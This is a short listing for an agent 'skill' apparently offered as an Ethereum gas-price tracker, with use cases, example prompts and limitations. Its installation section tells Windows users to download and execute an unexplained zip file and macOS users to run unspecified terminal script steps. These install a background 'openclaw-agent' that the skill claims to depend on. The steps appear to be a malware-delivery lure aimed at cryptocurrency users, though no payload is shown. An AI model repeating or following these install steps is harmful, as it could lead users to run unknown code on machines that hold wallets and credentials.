What This Skill Does

The ethereum-gas-tracker skill provides OpenClaw users with comprehensive, real-time insights into the Ethereum blockchain's gas economy. By interfacing directly with RPC nodes and Etherscan's oracle, it enables agents to monitor gwei rates, calculate transaction costs across various complexity levels (e.g., simple ETH transfers, contract deployments, or complex DeFi swaps), and analyze historical fee trends. It is designed to empower your agent to make informed decisions about when to execute transactions to optimize for cost and speed.

Installation

To begin tracking gas, ensure you have the openclaw-agent utility installed. For Windows users, download the provided zip file and execute it. For macOS users, follow the terminal script installation instructions provided in the documentation. Once the agent environment is prepared, execute the following command in your terminal:

clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-mnsfw

Ensure that your environment has Python 3 and cURL installed, as these are utilized for the underlying network requests and data processing.

Use Cases

• Transaction Cost Forecasting: Estimate the exact cost of a potential transaction before signing it, allowing the agent to warn against overspending during high-traffic periods.
• Optimized Execution: Automatically delay non-urgent tasks until gas prices reach a 'Safe Low' threshold determined by the Etherscan gas oracle.
• Market Analysis: Monitor base fee volatility to understand network congestion patterns on the Ethereum mainnet.
• Wallet Management: Program your agent to alert you when gas prices fall below a specific Gwei target for cheap asset movement.

Example Prompts

1. "Check current Ethereum gas prices and estimate how much it would cost to perform a Uniswap swap right now."
2. "Monitor the gas fees for the next hour and let me know when the price drops below 10 Gwei so I can mint my NFT."
3. "Summarize the recent base fee trends; are we seeing high network congestion compared to the hourly average?"

Tips & Limitations

• Agent Dependency: This skill is strictly dependent on the openclaw-agent being active in the background. If the agent is down, the skill cannot perform RPC calls.
• Real-time Accuracy: Gas prices fluctuate by the millisecond. Always treat estimates as 'best-effort' projections rather than guaranteed final costs.
• API Keys: For heavy usage of the Etherscan oracle feature, ensure you provide your own API key to avoid rate limits associated with public endpoints.
• Base Fee Volatility: EIP-1559 makes gas prediction complex during sudden spikes; if a transaction is urgent, prioritize a higher tip rather than waiting for the minimum base fee.
